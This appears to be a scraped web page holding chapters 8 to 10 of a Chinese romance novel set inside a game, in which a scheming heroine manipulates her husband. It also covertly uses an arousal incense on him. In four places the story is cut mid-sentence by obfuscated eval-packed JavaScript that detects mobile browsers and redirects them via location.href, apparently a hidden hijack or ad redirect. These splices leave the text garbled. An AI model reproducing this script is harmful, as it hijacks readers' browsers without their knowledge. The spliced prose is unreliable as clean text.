现在全告诉他,任务是完成了,要怎么走恋爱线?不走恋爱线,这游戏怎么通关? 谢珩相信了你。 他松开你的手,惭愧道:“抱歉。” 你拍拍他的手臂:“关心则乱,我理解。快去见公主吧。” 先走剧情,看看怎么回事,再回来读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230472|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 档做任务。这是你的安排。 你们乘上了去将军府的马车。涓流同坐,描述刺杀的详细状况与公主的伤,你半听着,手微卷车帘向外面看。 因为没具体点明朝代,不必探究是否符合史实,建康的夜市就很繁华。 你看到路旁行商的小贩,坐在家门口吃糖人的孩子,走在摊位间逛街的行人。 你也想去逛逛。 但是翠儿柳儿不在,一个人买东西没意思。更关键的一点,你身上没有通行货币。 你决定回去跟她们商量,挑个热闹的日子出来逛街。 说起公主中毒,你联想到自己白天得到的任务奖励,那颗既能做毒药,又能做神药的圆丹。 是用这个的时候吗? 还是不要吧,公主的毒已经解了,迟迟昏睡不醒的解药是谢珩,可能亲一下就痊愈了,不用别的东西。 且这么珍稀的物品,你想攒着,攒到最关键的时刻再用,期待一颗发挥出十颗的功效。 一只微凉发着冷汗的手,将你放在膝上的手盖住。 回过头,首先看到面如土色的涓流。 她瞪眼看着谢珩握住你的手,半晌,睫毛一抬,翻出腾腾的愠怒。 她冷嘲:“谢公子这情,当真不值钱。” 连带着你也被迁怒,受她白眼。 谢珩脸上没有一点血色,见你纳罕盯他,他勉强对你笑笑。 你于是也懂了。 这是谢珩向你、向公主那边表示出的,他想与你好好做夫妻的决心。 唔。 挺好的人。 【谢珩好感-1】 你:嗯? 你把手抽出来,真的感到疑惑:“谢公子,为什么?” “为什么你每次肢体亲近我一点,心里就讨厌我一点?你是对我有生理性厌恶吗?” 谢珩惊异看你,被你拉着衣料对涓流保证:“你放心,他没变心,他还喜欢公主呢。” 涓流并未感到宽慰。 她转开头,侧脸紧绷:“谢少夫人何必牵强解释,已成定局,往昔种种,不过是一场孽缘。待公主熬过这一劫,我们不会再出现,打扰谢公子与少夫人新婚。” 想到什么,她冷笑:“当年我便知你对谢公子心思不纯,公主偏信你,你又老实安分,我就想凝香宫多你一人也没什么。现在回看,五少夫人真是下了好大一盘棋,圣上对公主发难时,你怕是在背地里偷偷诡笑,你等的机会终于来了,是不是?” 你:“……” 谢珩并不擅长直面人撕破脸的场合,他手足无措,想瞧瞧你的脸色,却怕你厌烦他看笑话,只能尴尬地将头对着车窗。 你余光瞥见,发笑:“是这样啊。” 涓流紧皱眉头:“怎么,你要装傻充愣?以为你藏得很好吗?整个凝香宫的人,包括公主,我们都看得出来!” “你过去随侍公主身侧,就算举止克制,一言不发,你的眼睛也骗不了人!” “每回见谢公子,你都一直,一直看着他。他出现以后,你眼里就装不下旁人了!好在谢公子与公主情投意合,看不见你暗送的秋波,你赖在公主身边五年,十年,三十年,谢公子也不会多看你一眼!” “要不是圣上疑心谢氏,你哪来的机会嫁谢公子为妻!” 你正了正神色,在空白档位增加存档。 这段话太好了,怎么会有如此恰到好处的助攻呢? 谢珩应该没堵耳朵吧?他应该一字一句都听进去了吧? 你,桓筝,曾经多么喜欢他啊。 8. 第 8 章 陪同谢珩探望女主的选择是正确的。 不然怎么会天降彩蛋,让涓流吐出这么多有利于你通关的台词。 已知谢珩是个品行端正的君子,这种人最大的缺点就是良心泛滥。一旦发现有人在背后经历了千辛万苦才走到他身边,他肯定要在心里愧疚,继而生出无用的同情心。 同情心在外无用,但在你的任务上可大有用处。你还有许许多多说了就要被官府下狱的坏事没对谢珩坦白。 你得让他知道,一切都是他的错,人之初,性本善,你之所以走偏了路,都是受他影响,受他蛊惑。 【谢珩好感+3】 涓流怒极,宫中人发起火来气势汹汹:“桓小姐,你为何不回话!” 你收了收不能明说的喜悦:“我无话可说。” “你怎会无话可说!你盘算那么久,终于窃得公主所爱,可安心,可满足了?” 你道:“我说什么?” “说我的羞耻与愤怒吗?” 涓流咬牙仇视:“你还有脸愤怒?” 你道:“我当然有脸愤怒,愤怒你们所有人都知晓我对谢珩的心意,却仍放我在公主身边,供人取笑、鄙夷!” “看我一人为情神伤,你们可快意了?” “我钟情谢公子,他的心上人是殿下。我明白自己比不得殿下,永远比不得她,只能像溺水的蚂蚁一般挣扎。但再挣扎又如何?到最后还是逃不过被水淹死的命运。就连死了,你们也只会说是我自己想活在水里……涓流,你说我有什么话想说?” “……” 好,说完了,谢谢涓流。 谁让她们也不厚道,明知你喜欢谢珩,却不出言劝阻,只顾束手看戏呢。 送上门的道德制高点,你会用,要用,更要狠狠地用。 为何你能埋伏在女主身边多年? 原因是:女主知道一切,她没拒绝。 就算是主角也不能太傲慢。 不过……也有谢珩是男二的缘故吧,总要为男女主HE埋一些伏笔,不然女主和男二相亲相爱走到一起,男主怎么办。 【心性+10】 【声望+5】 【谢珩好感+5】 很好,爽到了。 你喜欢数值在眼前跳跃的感觉。 补充,向上跳跃。 此后,马车内静得只剩呼吸声。 到了将军府,涓流跑着下的车,她不想再跟你们两个待在同个空间。她心里好难受,是她错了吗?是她在欺负人吗? 明明是你和谢公子一起背叛了公主啊! “涓流姐姐,你回来了!谢公子可有请来?” “请、请过来了。公主情况如何?” “还没有苏醒的迹象!快将谢公子带过去吧!” 谢珩牵你手时,你正存档。 那么精彩的辩白只适合说一次,再有第二遍,你不一定能发挥那么好。 这次手掌交握,他没有掉好感。 “天色不早,等见过公主,我们便回府休息,明日还要与你回门。” 他倒是记得。 但影响结局的待办任务,不可能被简简单单应付过去,一定还有什么雷点你没发现。 你们牵着手,在一众仆从震惊的目光中进了公主养病的居所。 去的路上,你东张西望,拉近谢珩,贴到他柔软的耳骨前道:“还是你家更大,更好看。” 谢珩茫然一瞬,没想过你会在此时点评裴府的装修。 他暂且放下如山累叠的心事,左右打量一番,得出和你相同的结论:裴元启好不讲究。 花鸟画是怎么和兵器挂到一起的?就算都是珍品宝物…… 罢了,与他无关。 你突然说起这个,应是想他忘了你与涓流马车上的对白,不愿他再惦念、烦心过去之事。 此前他不知你在凝香宫的日子那么难过。 他以为你受公主器重,被她视作挚友留在身边。 结果却是所有人的冷眼相待。 只因你喜欢他。 “也是你家。”谢珩语气郑重,普通闲谈,却说得如海誓山盟一般。 “筝娘,我的家也是你的家。以后只要是你喜欢的,我必尽我所能送给你。” 你听出他有心的讨好。 但。 【谢珩好感-1】 你:“……” 臭毛病该治。 “不想说可以不说,下次别说,我认真的。” “我没……” “闭嘴。” 你比着手指,说一句按下一根:“以后不要违背心意跟我牵手、拥抱、亲嘴、套近乎、说甜言蜜语。” “我不需要你的怜悯,也不想跟你虚情假意。我们照常相处,做一对凡事可商量的夫妻,我就很满足了。” 谢珩睫毛动了动,眼眸黑润望你。 只要这些吗? 恪守本分如他,曾也无法抑制对公主的贪心,想她更多留在自己身边。 你却—— “好。” 【谢珩好感+5】 嗯? 你抬头看他。 居然可以加好感? 你晃晃他的手,而后抿唇。 不行,要去见病人,不能笑。 【谢珩好感+1】 还有? 你又抬起脸,在你所不及的视角双眼清亮,如月夜见雪。 谢珩……躲避了你的目光。 他不知你为何看他。 但被你这样笑看着,他并不厌烦。他之前不会被女孩子这般目光注视,与你相识这些年,你也从未用这种眼神看过他。 不然他会发现的,发现你的心意。 他还不大习惯。 此刻也不是习惯的好时机,九公主尚在房里昏迷不醒。 躺在床榻上合眼的女主,九公主司马婧,意料之中拥有天仙般的美貌。光滑白皙的皮肤没有一丝瑕疵,睫毛天然长成了弧形,鼻梁挺翘,旁看有种令人无法忽视的倔强。 名叫【碧悟】的侍女眼角带泪朝谢珩哭诉。 她将来的路上涓流说过的话换了个措辞复述一遍。 司马婧遇刺,体内毒素已解,不愿醒来,医女说她心死,或许某个解她心结的人可以把她唤醒。 听罢,谢珩勉作镇定,他没有打探刺客的事,只问:“裴将军在何处?” 碧悟道:“将军一早出门带人采药。医女提起一味药草,名叫回梦香兰,长在峭壁峰端,可治魂魄离体、久睡难醒之人。正巧,几日前她在空蒙山崖见过,但中间有过一次暴雨,不知药草有没有被雨水损毁,山路又难行……” “我们左思右想,怕将军采不到,过了今日,公主永远醒不来,才派涓流去叫公子。” 她慌乱擦拭眼泪:“公子,你快去跟公主说说话吧!说些你们常说,她也爱听的话!” 她招呼你:“桓小姐,来,我们给谢公子腾出地方!” 你刚要点头去外面转转。 谢珩皱眉:“筝娘与我一起,你们下去。” 碧悟愣住:“这……” 谢珩道:“我与筝娘昨日新婚,公主亦与裴将军喜结连理,孤男寡女共处一室不妥,让筝娘留下与我一起。” 到底是在将军府,不宜做得太过分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230473|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 碧悟被点醒一般,连连点头退出去。 不是错觉。 今日谢公子神情让人陌生,是还在生殿下的气吗? 廊外,紫薇树下,涓流捂脸痛哭。 碧悟快步走近,搂着她安抚:“怎么了?怎么哭了?公主吉人天相,定然能挺过来。你别哭了,你我是公主的人,要是把公主的福气哭走怎么办?” “呜呜……” “还哭?” “呜……男人…没一个好东西!” 房中布置奢华。 你如同参观游览一般里外走了一圈,房间的每个角落都印下你的脚印。 与文物展览不同,真实的游戏建模中,橱柜的门可以翻,茶壶的茶可以喝,书架的书能抽来看。 然而公主住的地方和谢珩的房间没太大差别,你并未收获什么新意。 两人喜好相近,收藏的书画风格如出一辙,用具亦是。 看来无论外貌还是内在,女主与男二都算是天造地设的一对。如果男主不抢,如果你不从中作梗,他们应该能过一辈子琴瑟和鸣的生活。 可惜没如果。 你迎着谢珩难看的脸色读档,回到甫一进屋的时刻。 谢珩将碧悟请出去,屋子里只剩你与他与女主三人。 他没急着看公主。 且不说他不通医理,今时今日,那已不是他能担心的事。 他另娶,她另嫁,前来探望已是逾越。 他不能再伤害筝娘,也不该冒犯裴元启。 你提议:“不拉着她的手哭一哭吗?泪水掉到她手背上的话,说不定人就醒了。” 谢珩:“……” 【谢珩好感-1】 没关系,刚加了不少,原谅他。 你走到床榻前,凝视女主的睡脸,手朝她脖颈缓缓伸过…… 你按着她的肩膀晃了晃。 “殿下,醒醒,殿下?” 谢珩紧绷的脊背松弛。 因为你的前科,他刚刚有一瞬间以为你要掐向公主的脖子。 却是他小人之心,你只想将公主摇醒。 没用。 女主不会轻易醒来。这是待办任务的考题。 接下来可能有两个走向: 1.在谢珩的守候下,司马婧悠悠转醒。但一定是在陪你回门的时限过去以后。 2.裴元启找到回梦香兰,救醒公主。作为妨碍【回门】任务的阻碍,也要在明天以后。公主不醒,谢珩会一直在将军府痴守。 从男女主的身份考虑,第二种猜测更切合实际。 男主男二同在的场合,拯救者的身份不可能分给男二。 没犯过错的男二就是这样的待遇,总是比男主差那么一点运气,一点时机。女主需要他的时候发挥不到作用,好好增进感情的机会演变为男主的高光时刻,最后痛失所爱。 这是一份扎根言情领域多年,有点疼痛的领悟。 好了。 你要思考怎样不让沉睡的公主影响到明早的回门。 谢珩这边比较矜持,有你在场,他不允许自己露出脆弱的姿态担忧公主。所以“泪滴手背将人唤醒”的桥段不太可能发生。 你想试一下自己如果不跟来会发生什么,读档的手抬起,又舍不得马车上的精彩发挥。 你捏着下巴,沉思。 将希望全寄托在男主身上可以吧?他可是男主啊,相信他能采药回来才是王道的选择。 你无意转动目光,与床榻里平躺的司马婧对视。那对黑圆的眼珠透着死寂,显然盯了你有一段时间。 你吓了一跳。 她竟然醒了? 9. 第 9 章 “……殿下。” 你强装镇定,拽了拽身边愣怔的谢珩。 “谢公子,殿下醒了,你……” 司马婧目光冰冷:“筝娘。” “好些日子没见你,我思念得紧,为何往子瑜身后躲?” “你,不敢面对我?” 你从谢珩身后探出头来:“我敢啊。” “我这样是在想事情。” 你想,女主明明能提早醒来,为什么【回门】还会变成待办考题。 原本有条理的推测在她苏醒的瞬间被尽数推翻、瓦解。 不是那样。 谢珩不回家,不跟你回门,不是因为担心公主身体。她虽然看起来还有些虚弱,但问起话来中气十足,显然没大问题。 那是因为什么? 你在空档位存档。 司马婧将你的深思当做心虚,理了理衣领,从床榻间坐起,话语间纠缠着一顿一顿的恨意:“子瑜,你可知,在你身后受庇护的女子,皮相之下究竟揣着何等溃烂的心肠?” “我与她交友近十年,她处处顾念我,哄我开心,明知她心思深沉,我也愿信她真情,没有十分,八九分总该有……” “可我错了!” “她!她居然!” 谢珩打断她:“公主,恳请息怒。你所嫉恨之事,筝娘昨夜就告知了我。错……不在筝娘。” 司马婧眼眶泛红,诧异中溢出了泪,怒吼:“那你说错在谁!在你我吗!!” 你直觉他们两个说的不是一码事。如果只是害她惊马那种程度,她不至于当着男二的面如此控诉指责。 应该是比这严重很多倍的坏事。 你回忆任务栏,满满一页罪状。 在这个时间被得知,惹怒司马婧的会是哪件…… 谢珩回手拉你,带你一起朝司马婧跪身:“求殿下恕罪,看在臣与殿下往日情面的份上,放过臣的妻子。” 你:“……” “呵呵……” 司马婧发出几声飘乎的笑音,她指着你们,手不住地颤。 “好!好一出伉俪情深,过去竟是我阻碍你们两个心意相通了!” “谢子瑜,我真是错看了你,错看了你们两个!” “滚!都给我滚啊!” 谢珩紧攥双手,骨节泛白。极度压抑过后,他轻轻出了口气,从地上起身,将你也拉了起来,蹲身轻拍你膝上的灰尘。 他道:“我亦错看了殿下。” “曾以为情若月恒,纵有阴晴圆缺,始终不渝。哪想在殿下这轻如鸿毛,稍微松手,便要被东风吹散。” 你听得出来,东风指裴元启,他在内涵公主变心。 “你胡说什么!” “是否胡说,殿下心中有决断。若非此心生变,那日城郊,早有一对爱侣奔走天涯。” “谢珩!” “求殿下恕我妻筝娘无过,从今以后你我两清,互不相欠了。” 你被谢珩牵着往外走,他步子迈得极快,捏得你手发痛。 至此男二与女主彻底分手。 你回头望了司马婧一眼。 她撑着灯架,单手捏揉额角,泪流不止地望着谢珩的背影。 紧接着,你们的视线在空中相撞。公主朦胧的美眸凝滞,顷刻之间,杀意如涨潮的海浪层层逼近。 【挑战成功】 兑换奖励:【暖情香】x1 【闻了就会发热的好东西。无色,无味,无害。】 你:“……?” 是你想的那种东西吗? 催情香? 想用。 点击,查看详情。 【使用限制8次。 选择作用对象,明火点燃一秒即可生效,效力强盛,不建议连续使用。】 你将【暖情香】收进背包。点开背包的标识,里面已经积累了三件道具: 【旧时纸鸢】x1 【一粒圆丹】 【暖情香】x1 收起虚拟面板,你从谢珩掌心抽手,前后翻看,伸到他眼前。 “回神。” “看你把我掐得,都红了。” 谢珩将头转向侧边,抬袖轻拭几下,回过头。 “对不住,筝娘。” “我方才……” 你们走到了谢府的马车前。外面天色大黑,但将军府点了许多灯笼,是宴席上没来得及撤下去的喜灯,远看红澄澄一片。 坐到马车里,你等谢珩也坐稳,身体倚到他身上。 “刚刚站久了,让我靠一下。” “嗯。” 看得出来,他还沉浸在跟女主吵架的悲伤中。 质问女主变心这事,在他心里应该潜伏了很久。今日,因为护着你被公主指鼻子骂,他怒火作祟,将连日的猜测、自苦尽数发泄了出来。 你给他顺了顺气,手轻抚他的胸口。 谢珩默认了你的亲近举动,有破罐子破摔,报复女主的嫌疑。 你不在意,专心做任务。 “谢公子,不管别人如何,我会一直喜欢你的。” 谢珩先是摇头,而后停住,似乎想通这不是能谦让的立场。 要是劝你不必强求自己爱他,便是将你推向不义。 你是他的妻子,喜欢他是天经地义的事。 “我要跟你道歉。” “……?” 他低头看你。 你将在家听说公主遇刺的那个档覆盖住,在此处存档。 “其实公主与裴将军之间互生情愫,也有我的责任,我之前故意为他们制造过很多次机会。你要是怨我,就骂我吧,打我也可以。” 你感到谢珩的身体僵硬了瞬,随后恢复如常。 这是你营造深情人设的积极成果。 谢珩垂眸,温声道:“错不在你,变就是变了。” “我心已死,只愿他们有情人终成眷属,往后和美一生。” “而且。” “筝娘,我不会骂你,也不会打你。你是我的妻子,不是罪犯,我……” 和罪犯也差不多。 如果女主没有逢凶化吉的光环,你这个恶毒女配就是杀人凶手了。 杀了那么多次。 真能干,桓筝。 待办已完成,但你还是好奇女主想跟谢珩告你什么状。 存档读档,你回到了女主与谢珩对峙的时间。 这次你捂住了谢珩的嘴,朝司马婧道:“把你知道的都告诉他吧。” 散发坐在榻上的司马婧眼角噙泪,难以置信地望你片刻,笑:“好啊,好,你不怕。” “谢子瑜,你可知谢氏与我兄长暗中结盟之事,是谁搜集证据,捅到我父皇面前的?” “哈哈……正是、正是你身后护着的人,你的妻子,我的友人。” “若不是裴元启告诉我她在背后安排的一切,我还傻傻感动于她舍身顶认,与你成亲的事!” “都是笑话!笑话!” “你跟我都被她算计了!整个谢氏!皇储之位!都被她算计进去了!” “怎么会有这么心机狠辣的女子!为了一己私利,将别人精心布置多年的政局给毁了!你回头看,子瑜,你看,她连一点恐惧都没有!” “……” 你与谢珩惊愕的视线相撞。 就知道不是坦白这个的时候。 所以你才把这事压到后面,只跟谢珩说些于感情上无关紧要的罪状,练练他的反应,以免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230474|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他冷不丁从别人那知道应激。 每天跟他说一条,这样之后再有人跟他告状也没了威慑力,该坦白的事,你早就坦白过了。 读取存档,你回到待办任务成功之后的马车里。 局势牢牢把控在手里,且留有余地的感觉很不错,连马蹄踩地的声音都觉得悠哉。 你打了个哈欠。点击剧情回顾,看看刚才话说到哪了。 哦。 谢珩说你不是罪犯这。 这游戏玩得充实,治好了你没有手机睡不着觉的坏习惯。 你窝在谢珩怀中闭眼,嘱咐:“我如果睡着了,你要把我轻轻抱下去,不要弄醒我。我有预感这一觉会睡得很香。” 谢珩默了默:“好。” 一觉睡到第二天凌晨。 回门之日。 你被谢珩叫醒,扶坐起来擦脸漱口。 都是他亲自做的,举止虽生疏,但胜在用心,将你照顾得里外服帖。 你木着脸,眼睛还睁不大开,听他清澈的笑音:“筝娘还未醒吗?” 视野中出现一张清灵漂亮的面孔,相貌柔美,肤白若雪,轻易便能让人融化进他的眼中。 男人长成这样实在不得了。 你醒了。 存档。按着他后颈亲,一番动作下来行云流水。 好感值…… 没动。 经历了昨天的事,砍断与女主的姻缘,他似乎不会再因排斥而对你心生厌恶了。 倒也没有喜欢就是了,目前他明显在努力接受你是他妻子的命运,做一个丈夫该做的事。 那他很命苦了,你这里才领了【暖情香】。 是要今天中午用还是晚上用呢?有点纠结。亲嘴可以,口口也行吧? 吃过早膳,收拾妥当礼品,你们出发前往桓府。 翠儿柳儿黑了一早上的脸。 谢珩与你感情日渐深厚,你夙愿成真,她们由衷为你开心。 但谢公子凭什么抢她们的活计? 别小瞧了她们待在小姐身边朝夕相处的十几年时光啊!小姐和她们之间不会有第四个人出现,就算他是谢公子也不行! 想用这点小伎俩把小姐从她们身边抢走,未免也太可笑! 翠儿递食盒进马车。 “小姐,我照您之前的提议,油炸了蜜髓饼,果真外酥里嫩,路上无事,小姐可尝尝滋……” 她的小姐在尝别的滋味。 定然是新婚燕尔的缘故。 她仓促退出马车,惊到了附近清点礼品的柳儿。 “为何失态?难道小姐出事了?” 她撸袖子便要往马车里冲,被翠儿拦下,眼神彷徨摇头。 车内。 先是被翠儿撞破,随后又听见外面的骚动,谢珩已经腼腆得不敢再与你接吻了。 你察觉到他停下的动作,抚了抚他的双颊,拇指按向他的鼻尖。 “谢公子,脸皮真薄。” “不愧是……”任务对象。 “长得真好,快要看不够了。” 谢珩睫毛飞速眨动,他想将头转开,却被怀中的你固定住。 于是你亲眼见证了他面红耳赤的全过程。 马车行走起来,蹄声响在人烟复苏的街道。 车行片刻,你心中痒意发芽,想再亲,被他捂住嘴唇,眸光哀求。 他不想亲。 不想亲要用求的? 如果他求你是因为想亲就好了。 你召唤虚拟屏幕,点击背包,调出【暖情香】。 今日这趟回门,你会让他一直忍着的。 忍到熟透了,浸出汁水,好好地跪下求你…… 你再着手救他于水火,慢条斯理地品尝。 10. 第 10 章 你在翠儿那里要来了火折子。 是错觉? 总感觉她的眼神比平常热烈,动作也较之前利落。 “小姐可还有其他吩咐?” “暂时没有。” “好。” 她鼓起勇气:“小姐!” 你:“嗯?” “小姐要记住,翠儿永远都会陪在小姐身边,送小姐高飞,供小姐驱驰!” 不远处的柳儿闻声,踮脚在礼箱后伸头:“小姐!柳儿也一样!” 突然的表达忠心。 也许是老板与员工之间交流感情的方式? 虽不习惯,但听着不错。你微笑道了声“好”,放下帘子。 这一刻,翠儿因谢珩产生的危机终于沉淀。阳光明亮,清风盈袖。 世上最受你看重的人终究是她翠儿。 谢公子除了被你享用、消遣,其他一点用处也没有。那种没用的男人,凭什么代替她在你心里的地位?你是她的小姐,只能由她来伺候。 柳儿推了她一下:“臭翠儿,想什么呢。” “没什么。” “哼,狡猾。”柳儿瞪她,“以后不许你偷跟小姐投诚!我们是姐妹,长得一样,在小姐身边的地位也要是一样的,你休想背着我当老大!” 翠儿无奈:“知道了。” 【暖情香】实体是一块黑炭。 形状精致,棱角笔直,视觉上接近磨墨用的墨条,表面刻有“暖情香”,“可用8次”的字样。 你手肘拐了拐谢珩,火折子递到他面前。 “帮我点火。” 面无表情、实则被亲懵了的谢珩乖乖听从你的吩咐,吹燃火苗,空气中便弥漫了纸张灰烬的味道。 你握着暖情香对准,粉色的火焰骤起又熄灭,暖情香上刻着的数字变成了【7】。 将道具收回背包,你仰头吻了下谢珩侧脸,期待在他身上看到效果。 但是。 剩下的路程,谢珩始终保持着平静。 是很能忍,还是你猜错了【暖情香】的效果? 你有点郁闷了。 谢珩端坐在你身侧,手中拿一本诗集翻阅。他的手指修长,骨节分明,尖端透着偏橘的粉。 长成这样的一双手,做什么都精彩。 你摇晃他的肩膀:“别看书了,谢公子,不亲嘴可以,倒是跟我说说话啊,你怎么亲完不理人的?” “……” 他不自觉捏紧书页,掌骨明晰。 你掐他的脸:“想什么呢?” “我……” 桓府到了。 车下,翠儿柳儿与阿问各唤其主。 你松了在他脸上作怪的手,接受暖情香对谢珩不起作用的命运。 也说得通,这种东西若是用到任务对象身上,煞费苦心的攻略不就无处施展了? 就这样想吧。 不过真的好失望。 你曲身下车,再没留意身后人的动向。 谢珩脸上被你捏过的地方还在隐隐作痛,下了马车,又生出一阵不知名状的腿软。 好在你眼疾手快将他扶住,没让他在外面丢大脸。 你随口叮嘱:“小心点。” 被你扶过的手臂于是也跟着发热,触感久久不散,仿佛在他身上烫了烙印。 为何? 没等他想明白,阿问将你从他身边挤开,一副保护他家公子免受玷污的护主架势。 “什么‘小心点’!我们公子是坐车坐得腿麻了。他何时坐过这么久的马车,都是桓小姐家住得太偏的缘故!” 你:“……” 将他的话听进耳朵,你四下张望。 桓府的位置确实与谢府无法相提并论,往高处眺甚至看得见山影。 父亲不是皇帝身边的红人?离皇宫住这么远,他每天几点起床上班? “行吧,对不住你们。” 阿问冷哼一声:“你最对不住的是我们公子。” “……” 你歪头笑了:“好一个刁奴,你跟你主子夫人这么讲话?” “不是第一次了,为什么咬着我不放?是觉得我很好说话,很好欺负,然后你也想来试试?” “我可没……” 阿问回头瞥了眼谢珩的神情。 娘唉,公子黑脸了!他与公子一同长大,几时见他摆过这种脸色! “小的知错!再不敢与少夫人僭越!公子恕罪!” 道歉真诚,保证更是直击肺腑,滑跪也快。 可惜。 他不仅没被人美心善的公子恕罪,还得了扣除半个月月钱的处罚。 公子勒令他不许跟着进桓府。 你走前笑问:“如何?还不如心服口服跟我道歉,我高兴了可不罚你月钱。” 有谢珩表明态度在先,阿问不敢再跟你放肆,老实低头:“求少夫人恕罪,小的再不敢了,饶小的最后一回。” 你眨了眨眼:“好没意思,我还是喜欢你有骨气的样子。” 你兴致缺缺跟上谢珩的步子,旁观他命下人搬送礼品。 翠儿柳儿故意经过阿问,挨个踩他一脚。他痛得直不起腰,暗骂两个弱女子哪来的力气。 早在瞧见谢府马车时,门卒便往府中报了信。 等你们携带礼物到正门,管家已经与一众丫鬟小厮齐刷刷在门口恭候了,与谢氏对你的懈怠对比鲜明。 提示名字的字幕因人数过多而重叠,看上去厚厚一沓。 陈管家朝你与谢珩行礼:“恭迎二小姐,姑爷,路上辛苦了。府君天不亮就候在堂中,就盼着见你们呢。” 不必你递目光,谢珩自觉赏钱寒暄。出手阔绰,陈管家接到手里合不拢嘴。 按他职位的财富积累,这副讨好欣喜的笑脸怕是故意演给谢珩开心看的。 有时候肯演也算是一种心意。 你回身招呼翠儿柳儿,趁着这个机会,你让她们去跟家人团聚。 步入桓府,又一个新的地图。 与谢府、将军府的布置相比,桓府的庭院简朴了几个档次。园中并未栽种名贵花草,随处可见的竹丛在晨间的微风里簌簌摇曳。地面铺设陈旧的石板,曲径通幽,末端是府内正堂。 标着【父亲】、【母亲】的人物端坐在上,两个年幼的妹妹笑容可掬地与你们相视。 你陪着谢珩给父母行拜礼,而后坐到一旁,留谢珩问礼交涉。 他性子和静,待人接物如柔风细雨般的温润。一来一回对答几句,父母便对女婿有了八分的满意,至少表面上是这样。 你听着那些客套话,无聊得打了个哈欠。两个妹妹也一样听腻了大人的寒暄,围凑到你身边好奇问:“二姐,二姐夫待你如何?” “不错。” 小一点的妹妹反驳:“二姐瞎说,姐夫当真对你好吗?” 你扬眉:“还能有假的?” “就是假的,二姐夫喜欢的人是九公主殿下才对呀,他怎么会对二姐好呢?” 三妹到底年长一些,已懂人情世故,听到老四口不择言,忙觑你的脸色,把妹妹嘴捂住。 “瞎说,姐夫不对姐姐好才奇怪呢!” “你才瞎说。”四妹挣脱了三妹的手,嚷嚷道:“我娘告诉我了,二姐姐是个城府深又自私的坏人!坏人有恶报,才不会过得好呢!” “都是因为二姐,九公主才不能嫁给谢公子了!两人本来佳偶天成,是二姐姐将人拆散,这是事实,三姐你凭什么不让我说!我说的才是对的!” 你并不因四妹的话动怒,只是望向“母亲”的眼神意味深长。 自家人,背后也要这么蛐蛐? 童音的吵嚷令谢珩与父亲无法再忽视,他们不约而同看向你,以及你视线末端的笑容僵住的母亲。 你翻了翻人物介绍,发现这人不是你的生母,你与大姐是父亲原配所生。原配病故同年,这个女人低调进府,顶替了你母亲的正室之位。 “母亲”,继母神情惭愧,朝你赔笑:“我这孩子不知在哪学坏了,胡乱说话。筝娘,你千万别跟她计较。” 指尖随意在桌案上敲了敲,你置之一笑,温柔摸了下四妹的脸。 “妹妹,现在你娘也认为你说得不对了,怎么办啊?” 四妹发了脾气,小脚用力跺到地上:“我说的就是对的!就是!” “娘,为什么你不承认,是你亲口告诉我的啊!你还说我以后要成为心地善良的人,不能像二姐那样,你怎么不说话!” 控诉着、控诉着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15230475|165919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她马上就要哭了。因为她一贯畏惧的父亲正冷眼瞧她,连温柔溺爱她的母亲也露出了阴沉的脸色。 大家都变成坏人了。 她的二姐倒是还温柔握着她的手。 “我相信是你娘说的,你告诉姐姐,她还跟你说了什么呀?” 父亲出声叫停:“筝娘。” 他脸上表情极淡:“得饶人处且饶人,你适可而止。” 你道:“我不觉得这是我该饶人的地方。” “来,妹妹,二姐站你这边,想说什么,二姐都听你说。” 母亲厉声道:“桓瑟,过来,来娘这边!” 三妹也搂着她往母亲那边走:“别闯祸了,快乖乖听娘的话。” 四妹偏将她甩开,赖到你身边,像一条刚学会仗人势的小狗。 “二姐姐……”她抱你,往你怀里蹭,“还是你好,我娘坏。” “她总拿你和大姐的事教育我,说大姐是白眼狼,嫁了人就跟家里不联系了。她说你也是白眼狼,你辜负了公主殿下,抢她的男人。她教我,为了不被你们这样的人伤害,就要比你们都坏,先害了你,你就没机会害我了。” 教得什么乱七八糟。 